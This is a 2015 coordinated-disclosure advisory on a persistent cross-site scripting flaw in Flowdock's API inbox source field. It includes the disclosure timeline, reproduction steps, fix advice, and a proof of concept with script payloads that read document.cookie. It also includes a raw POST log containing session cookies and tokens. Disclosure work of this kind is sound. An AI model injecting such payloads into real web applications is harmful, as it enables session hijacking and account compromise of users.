Flowdock API Script Insertion

`Document Title:  
===============  
Flowdock API Bug Bounty #1 - (Description) Persistent Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1560  
  
  
Release Date:  
=============  
2015-09-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1560  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Product & Service Introduction:  
===============================  
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, mobile & web.  
Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 days. Keeping Flowdock`s   
environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t hesitate to contact us   
at [email protected] should you have any questions about Flowdock`s security.  
  
(Copy of the Vendor Homepage: https://www.flowdock.com/security )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Flowdock online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-08-06: Researcher Notification & Coordination (Hadji Samir)  
2015-08-07: Vendor Notification (Flowdock Security Team - Bug Bounty Program)  
2015-08-08: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program)  
2015-08-10: Vendor Fix/Patch (Flowdock Developer Team)  
2015-09-22: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Rally Software  
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side input validation web vulnerability has been discovered in the officialFlowdock online-service web-application.   
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable context function or service module.  
  
The vulnerability is located in the name input field of the inbox souds flowdock api service. Remote attackers with low privilege application user accounts   
are able to inject own malicious script codes to the application-side of the service. The request method to inject malicious context is POST and the attack   
vector is located on the application-side of the flowdock api web-service. Remote attackers are able to inject malicious script codes to the application-side   
to compromise flowdock accounts by session manipulation or session evasion attacks.  
  
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.   
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low or medium user interaction.   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources   
and persistent manipulation of affected or connected service module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Inbox Source - Flowdock API  
  
Vulnerable Parameter(s):  
[+] description  
  
  
Proof of Concept (PoC):  
=======================  
The security vulnerability can be exploited by remote attackers with low privilege application user account and low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Create acount with name have a payload code   
2. Click to add more sources..  
3. Click add new (Git)  
4. Will open new link https://www.flowdock.com/jari/auth/git?flow=e60291f4-8869-4f08-b04d-bc07ea6eb787&intent=setup write anything in the name and save   
5. Now, the payloadcode will execute  
6. Successful reproduce of the application-side vulnerability!  
  
  
PoC: Vulnerable Source  
<li class="row source-group active external_application open"><h5 class="group-title">  
<a class="expand-link">  
<i class="fa fa-caret-right arrow closed-only"></i>  
<i class="fa fa-caret-down arrow open-only"></i>  
"><img src="x" onerror=alert(1)>  
<span class="count light">(following 1 source)</span>  
</a>  
</h5>  
<ul class="source-list"><li class="source"><ul class="clean actions">  
<li>  
</li>  
<li>  
<a class="delete" title="Remove this source.">  
<i class="fa fa-fw fa-times"></i>  
</a>  
</li>  
</ul>  
<h5 class="source-title" title=""></h5>  
<span class="name">  
javascript:alert(1)  
<span class="description">  
(Added by "><img src="./ img src= c onerror=prompt(document.cookie) iframe src= c ( img src= c onerror=alert(1) ) - Flowdock_files/c" onerror="prompt(document.cookie)"><iframe src="./ img src= c onerror=prompt(document.cookie) iframe src= c ( img src= c onerror=alert(1) ) - Flowdock_files/c"> on Aug 07)  
</span>  
</span>  
</iframe></span></span></li></ul>  
</li>  
  
  
--- PoC Session Logs [POST] ---  
13:21:13.734[746ms][total 2805ms]   
Status: 200[OK]  
POST https://www.flowdock.com/jari/git/pairings   
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[1235] Mime Type[text/html]  
Request Headers:  
Host[www.flowdock.com]  
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
Referer[https://www.flowdock.com/jari/auth/git?flow=08bbf4d6-90bb-4e5d-9639-a8cdd218f44b&intent=setup]  
Cookie[__cfduid=d3ee44a1993dff388a7905fe132c30ef11435013606; _ga=GA1.2.1847177044.1435013486; ga_cid=1847177044.1435013486; __ar_v4=%7CNVE6VSAVAFEITPQZLCROVA%3A20150622%3A1%7CN4SGXQCDSJGPZCWP5DGWWO%3A20150622%3A1%7CP3GQR6LVEJFUDLS6YOOZNQ%3A20150622%3A1; _flowdock_credentials=IjdZZW1vZHNxV0pVa3dteTF6ekc4bVhsUU8tUWdBcVo1UDJXY0RlTUVUUk0i--34afe04c5fa0be13d44c1b9957f2855eed58afc1; logged_in=1438944441; login=1; referrer=Imh0dHBzOi8vd3d3LmZsb3dkb2NrLmNvbS9hcHAvdnVsbi9pbWctc3JjLWMtb25lcnJvci1wcm9tcHQtZG9jdW1lbnQtY29va2llLWlmcmFtZS1zcmMtYy9zZXR0aW5ncy9wZW9wbGUi--0c1ce3ad9566d6eba667837e40bfc5cdfc312e1a; _flowdock_session=aXdkYzRVZzkzNTFWSUtmK2NCUkZ5UHhMMzhNdXA4NWcxUkc2dGl3Y1dtYXk2V1BSRXdDUVBRdmREYzA4bEJNM2xqYkREdlVNd25Iam1QKzdxMUNHNS9tSk5UclRSZC95QldCYXVLbEtnajNMSng1S0xoOXJXTUNqOHdMQUtzNkVYK2RISndKSklGUWwxMDlSQmRuWmNnejkxeEdZTkI5Uk1RSDhJVUpNYW1sN1krVzlOQ3pLVGNGUmJzNTV2STBBKzh0Qkg1U05YZFBWQW1yVXdCcXEzVzFvbnR0djJBc2xXTHpkeUxJY2dZckdiQnNCTDlaNnlOL0hMUDUrdENYWC0tSC9QQXpmUFZ6b09TR3R5Zm9SL0E1UT09--09202d60842dba5756399463b947f6d990118337; _jari_session=ZTRYV1hXQTNMbDZ6cnRlakhDVlZiTjl0S0xybVJKM1pzMmU4Q2JMenAxNXR3Q1VJMFpJbVc2c29SVldEOU1EU1gwSlVKUEQ4SUZOK0NoTkNhTXdJUlBJeDhpQTNyVVpycWZnam1UOEU2UHFPYmM4T3lwNjBKTGtNRkpETTFmaDgyVUJEVWtLTkQ3UDNGWTUrcW1DT2NDRWV3UDZVNFZJblJEdGxLMXNSQlFNNjNoTGxLTWtwYlU3SUIyRzQrWEgwT2Y4cWJWWGw0UlZNMVpxY2pWZTNFZTAwbjRlNUczK3JDOGpXTllEOVkyZmJRVEgzS1ZKdTRYKy90T1V2Z1o5dGw0UXI4T2l1N0xKTkhZeTZGOVpvK2t6dXg1TjhQcFlVY2JUQVJudGFKU3JkTmxDYUMzMnhqdGdGOUs3SmV1amVHSmVLb0NTY3JMS0xENnhIM0N1dFhyV0Rsa2wwc3pFUmwyajRyN3RHbkptaUVxUVRGWVJzVEp5MnRsSnFSSUg4SU1la1QxaGwyVjc2Ty9nVFRuV2t3TjlXeWlZZnFjYmkxZkNqL25SbFRxOWpqR2hpY0tBQVJHMm9Mc3NrKzdQSVRxWkxjTTMxTUpNVkZWbEVrMSt3MXNkNXEzVDlmQVZJdUhYdEh5Q3FmYVU9LS00dkVENEMyVjRHUURaREZMRmU4NHNRPT0%3D--37555db7d8a70a51cb36cdad27d89a59a2a58fde]  
Connection[keep-alive]  
Post Data:  
authenticity_token[VcC1q7HxUipoZa37aKDAcxx65KfvByfRDrtyDm5r3ApWKepzR373VB7C0DQ%2BBHlAegzufv52ocZ3%2Bg4UXKwYyg%3D%3D]  
flow[08bbf4d6-90bb-4e5d-9639-a8cdd218f44b]  
flow_name[%3Cimg+src%3Dc+onerror%3Dalert%281%29%3E]  
flow_token[e085423a527c1f09bcd2f3c26a9b15a5]  
source%5Bname%5D[%22%3E%3Ciframe+src%3D%22x%22+onload%3Dalert%28%27xss_by_samir_vuln-lab%27%29%3E]  
Response Headers:  
Date[Fri, 07 Aug 2015 12:24:35 GMT]  
Status[200 OK]  
X-Frame-Options[SAMEORIGIN]  
X-XSS-Protection[1; mode=block]  
X-Content-Type-Options[nosniff]  
Content-Security-Policy[default-src *;script-src 'self';style-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'self';frame-src 'self' flowdock:;child-src 'self' flowdock:;referrer origin]  
Content-Type[text/html; charset=utf-8]  
Etag[W/"7562a87d6172a931cb31346f8bf6258b"]  
Cache-Control[max-age=0, private, must-revalidate]  
X-Request-Id[d52e57ab-6c07-45c5-a548-cf98c7c7ee0d]  
X-Runtime[0.160761]  
Set-Cookie[_jari_session=d1RLU3JHbFZwQWpUOGFab3pYbFZqNDkyYk9SdXRmS0kweU5zTmk2ZjBYT0ZTZThLMThLdkxaY3k5UFBjRnRpQUMvVmx5S1B0WXAwYndVQTlkWWMzWGNUU1lzWExEbnRPZGJIUWpYdjdQTUxNbExJT3dHanB3eWdMVEdvTitCNE9CUk9ERnlEWDJkbDIrVm5XNFd3cUx1M2VkMnFWa0hjNDZzMEgyQys2NVhHeWZTdVNWR1hUSVlIWTJjVjg4NkpINnRQK2l5bFg1b1I0Y0h1RVhiSDBPUWhFVzFYM1hFYitpWk5tN0JTN3M1dFZkMWFBRm4zN3BnQlp6dzNqajZ5MkxBWUt3bW5QcEtzVkpCYS9lMUVoYTNiNjV4YmRFYkVPYjZCWGg5MWZSYkpjbmI2a1gybmVkc21ZYksraXRTejFhVkhNNjdZWXNua25idVdWMjQ2UXVjQkc0d1d5TXowMjF5NnY0U0JHRVVrVVdNWXNLdHB3Q1FsNVdOYkowR08yb0FFcElnd2JxVzd5R2kwNmxlYVhIdW9ibEZXanRKbWJhV2NEckpmVlF4VXBpcEthQWMvT0M2U0xXZHZpWEhIU3FkOHl6dEVycDdIM3MyOW04OURaaXVZYnJuMkVod0l5cC9LbW1HQ3FGdDQ9LS10NHJZUnZBako1aTR6MUUzazBPM1BBPT0%3D--7693378af4e0387d949146f52269990db013bf21; path=/; HttpOnly]  
X-Server-Id[475b6e71889f174f61273dab9d11d64422779f4c]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[1235]  
  
  
Reference(s):  
https://www.flowdock.com/  
https://www.flowdock.com/jari/  
https://www.flowdock.com/jari/git/  
https://www.flowdock.com/jari/git/pairings   
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerbale input field in the source html file.  
Restrict the input and disallow special chars, Escape and include an own exception handling to prevent further execution of script code in the same service section.  
Prevent the part of vulnerable code to execute in the output section to finally patch the bug.  
  
  
Security Risk:  
==============  
The security risk of the application-side vulnerability in the flowdock online service web-application is estimated as medium. (CVSS 3.8)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
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